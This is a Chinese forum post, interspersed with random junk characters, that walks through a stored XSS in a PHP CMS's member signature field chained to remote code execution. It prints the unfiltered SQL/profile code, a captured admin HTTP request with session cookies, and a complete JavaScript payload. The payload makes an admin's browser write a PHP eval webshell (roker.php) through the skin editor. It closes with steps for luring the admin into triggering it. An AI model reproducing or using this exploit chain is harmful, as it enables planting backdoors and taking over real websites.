程氏舞曲CMSPHP3.0 储存型xss getshell

admin

这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题 官网已经修补了，所以重新下了源码 $ X# U7 A0 Z* B. D2 V因为 后台登入 还需要认证码 所以 注入就没看了。 存在 xss 漏洞文件 user/member/skin_edit.php + X% ?, E6 N: \- J& Y5 Q) ]* s本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名：      [- }& R, [% x9 [- |# X/ F& F# I</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>    </textarea></td></tr>    1 I! y" w5 W. K3 h& Y             user/do.php if($op=='zl'){ //资料 ( B# l* D4 l" k% a. v( l* {. g( q                if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))   I$ o7 ]5 w% [/ r             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));                 $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."', 6 _* N, B9 j4 t* C$ P: @4 m. @                CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'              where CS_Name='".$cscms_name."'"; 4 g5 d$ I3 z  D: G9 q. Q/ Y                if($db->query($sql)){ 5 M2 B1 d5 ~* |/ a+ {                 exit(Msg_Error('恭喜您，修改成功了!','javascript:history.go(-1);')); % n0 Q: C" L; N: T; [3 D% o   1 ]2 |  |: Z! a3 b  g             }else{ * \: r* H3 V) w1 i3 e4 B6 D                 exit(Msg_Error('抱歉，修改失败了!','javascript:history.go(-1);')); 0 y6 w+ n  [3 W% B' g                } 5 Z# Z! H7 d2 i; e3 j ( e1 {6 ~+ w! R+ s  i3 ]没有 过滤导致xss产生。 后台 看了下 很奇葩的是可以写任意格式文件。。 : ^# `5 j" M& D' n( K% y) \抓包。。 * u, \, i4 y' ^5 _! I: ] 6 d* Z9 N' }% K; e本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1    # ~8 `, ]2 s$ V8 X: o' l1 t& X" PAccept: text/html, application/xhtml+xml, */*    " q/ G& R7 Y, Y& `' pReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php    Accept-Language: zh-CN . d# c& ^$ \8 j  g0 e: q' q6 o   User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) " B% P( n- Q  @" n   ' i/ F) f3 M4 s: p- G  S" J6 iContent-Type: application/x-www-form-urlencoded    % [5 ~' _) B1 j% d- F" m/ o4 eAccept-Encoding: gzip, deflate    Host: 127.0.0.1    Content-Length: 38 % U) U  ^+ m. a: z; m7 F4 O9 Q+ L; K   DNT: 1    Connection: Keep-Alive    Cache-Control: no-cache + f+ ]# r, L" g$ q2 h$ Z   3 A. \! n/ u: o9 W. YCookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594 , c! x9 [, ]% D- V3 L( g; `4 J& G   . O1 b3 ~' T" E, F# o0 S1 k 7 {- e3 ]! g7 l6 R4 Oname=aaa.php&content=%3Cs%3E%3Ca%25%3E 1 H5 j; v  m* m3 Y& r% K 于是 构造js如下。 * E3 @) ^( s) e, ^, J + U6 F4 _! \& O( {) _% `本帖隐藏的内容<script> thisTHost = top.location.hostname;    thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/"; ' ?2 p2 I+ s* Q% @6 H5 x   - Q- W9 M4 @8 g4 C/ {! Kfunction PostSubmit(url, data, msg) {     var postUrl = url;        var postData = data;   t. ?" B4 U6 p    var msgData = msg;     var ExportForm = document.createElement("FORM");     document.body.appendChild(ExportForm); , f+ r2 `* b' C: h    ExportForm.method = "POST";     var newElement = document.createElement("input"); 3 L- {. ^5 C" n' q! P0 a) q: q) o    newElement.setAttribute("name", "name");     newElement.setAttribute("type", "hidden");     var newElement2 = document.createElement("input");     newElement2.setAttribute("name", "content");     newElement2.setAttribute("type", "hidden"); 6 z3 K6 B8 J% T    ExportForm.appendChild(newElement);     ExportForm.appendChild(newElement2); 4 c! e2 s) c; k  C; R3 k    newElement.value = postData; * @9 Z$ `+ A8 _- g    newElement2.value = msgData; " F8 }% J0 q, r. s. m    ExportForm.action = postUrl; ' b" E* M. ]$ f    ExportForm.submit(); }; , r9 O5 J$ c+ _, d0 L, I! G   PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>"); - x! E* {1 [1 c! y8 H" y9 P) c2 h   ! E( {# O! U* M8 g% @( `! r</script> , p6 w- q/ o4 X+ N: N4 p& o http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入 ! b+ s4 \" z. E用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2（uid自己改） ) {0 ~+ V; g2 H1 _就会 在 skins\index\html\目录下生成 roker.php 一句话。